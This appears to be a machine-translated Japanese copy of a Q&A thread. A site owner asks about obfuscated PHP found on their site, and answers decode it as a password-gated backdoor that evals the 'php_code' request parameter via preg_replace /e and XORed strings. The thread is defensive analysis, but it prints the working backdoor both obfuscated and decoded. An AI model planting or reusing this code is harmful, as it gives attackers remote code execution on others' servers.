2012-01-11 2 views
3

のデコード:私は私のサイトの一部で、この次のコードを見てい奇妙な、おそらく悪質なPHPコード

preg_replace("/lWkTSJcPlD6Ty3nInmjgvJ=vcL/e", "d=0nAheu6tYPSH36hrrw25iBpfJC3ZDVZB9aibJcJhscojWKPC8G7eHk=Rn3rqMGsJgPlpsvMaM20iBOl9UgbcGbutSaZehGoCWOsD=5dLucuvqUtA2Jc9lLr4mFXIMALiP4mPxFahhJSNeANUKqSv20ndDAmPBxyQpZfcf70BFQPjQc5aH"^"\x01KQ\x02iJ\x0c\x13\x1e\x1d\x2a\x236\x3c\x1bj4V\x2d\x25wd\x3c\x07\x232\x11dP2c\x0bsb\x1fGIJ\x27\x07\x7f\x40\x2f\x3fK5\x05\x0e\x01\x16\x7d\x14c\x3eo\x08Uu3\x1aRLpgT\x7fQh\x0e\x16KFuQxT\x00\x08sy\x0f\x08eS\x07\x05\x23R\x40\x12eSlW\x5bs\x0ed\x7eoUb\x1d\x5c\x17\x3f\x10\x17\x5d\x2a\x2dq\x2b\x13w\x1b6\x7c\x3f\x18\x29\x13\x1d\x2e\x28\x16\x2e\x2e\x28\x0cwiDyX=A\x0d\x1e\x2b\x3ff9\x1dj\x0a\x194\x02\x23wc\x3a\x3fc1\x05\x20\x1d\x1b\x165\x15\x7d\x3bJ\x5d\x17U\x3a\x2f\x25xCjCHCa", "lWkTSJcPlD6Ty3nInmjgvJ=vcL"); 
?> 

を私は通常のevalのように、いくつかのパースによって解読しようとしたと運を持っていません。誰がどのようにデコードし、それが何をするかを知っていますか?

それはにpreg_replace上/ E(evalの)修飾子を使用しているが、私はそれを一緒にXORされている2列だ気づく第二部を見てみる//

+8

「あなたのサイト」になっていて、そこに置かなかった場合、それは定義上悪意のあるものです。 –

+2

@Karl - 匿名の恩人で、誰かが悪いコードをより良いものに置き換えるためにサイトをハックすることに決めた可能性があります。 – EboMike

+0

@EboMike人もそうするのですか? – DGund

答えて

5

何もやっていないようです:

php > $x="d=0nAheu6tYPSH36hrrw25iBpfJC3ZDVZB9aibJcJhscojWKPC8G7eHk=Rn3rqMGsJgPlpsvMaM20iBOl9UgbcGbutSaZehGoCWOsD=5dLucuvqUtA2Jc9lLr4mFXIMALiP4mPxFahhJSNeANUKqSv20ndDAmPBxyQpZfcf70BFQPjQc5aH";            
php > $y="\x01KQ\x02iJ\x0c\x13\x1e\x1d\x2a\x236\x3c\x1bj4V\x2d\x25wd\x3c\x07\x232\x11dP2c\x0bsb\x1fGIJ\x27\x07\x7f\x40\x2f\x3fK5\x05\x0e\x01\x16\x7d\x14c\x3eo\x08Uu3\x1aRLpgT\x7fQh\x0e\x16KFuQxT\x00\x08sy\x0f\x08eS\x07\x05\x23R\x40\x12eSlW\x5bs\x0ed\x7eoUb\x1d\x5c\x17\x3f\x10\x17\x5d\x2a\x2dq\x2b\x13w\x1b6\x7c\x3f\x18\x29\x13\x1d\x2e\x28\x16\x2e\x2e\x28\x0cwiDyX=A\x0d\x1e\x2b\x3ff9\x1dj\x0a\x194\x02\x23wc\x3a\x3fc1\x05\x20\x1d\x1b\x165\x15\x7d\x3bJ\x5d\x17U\x3a\x2f\x25xCjCHCa"; 
php > $z=$x^$y; 
php > print $z; 
eval("if(isset(\\$_REQUEST['ch']) && (md5(\\$_REQUEST['ch']) == '568bf80805f0a16c104efd05f626234a') && isset(\\$_REQUEST['php_code'])) { eval(\\$_REQUEST['php_code']); exit(); }") 
php > 

パスワードのハッシュが一致した場合は、「ch」の「password」を探し、php_code paramの値を確認します。

I物事ににpreg_replaceが来るかどうかはわかりませんけれども

編集

プリプレグだけで実行するためにデコードされたものを引き起こし、交換が一致しません何かを交換している交換するようです。あなたはそれだけでだけで正規表現でeを取り出し、それらのURLのparams(CHおよびphp_code)/

+0

'preg_replace'はSO 。エルム、私は、何が起こっているのかを難読化することを意味します。 – deceze

+0

バックドアを構築するための印象的なアプローチ。 – Scuzzy

3

wのヒットについては、アクセスログを1ルックを出力することを実行する場合、

<?php 
preg_replace("/X/e","eval('print 1;');",'X'); 
?> 

この例を考えてみましょうPHP evalを置換後の式に置き換え、置換後のコードをechoにします。それは誰でもeval URLを介して送信される任意のPHPコードを可能にするバックドアをインストールします。

http://codepad.viper-7.com/VUmML8を参照してください。

関連する問題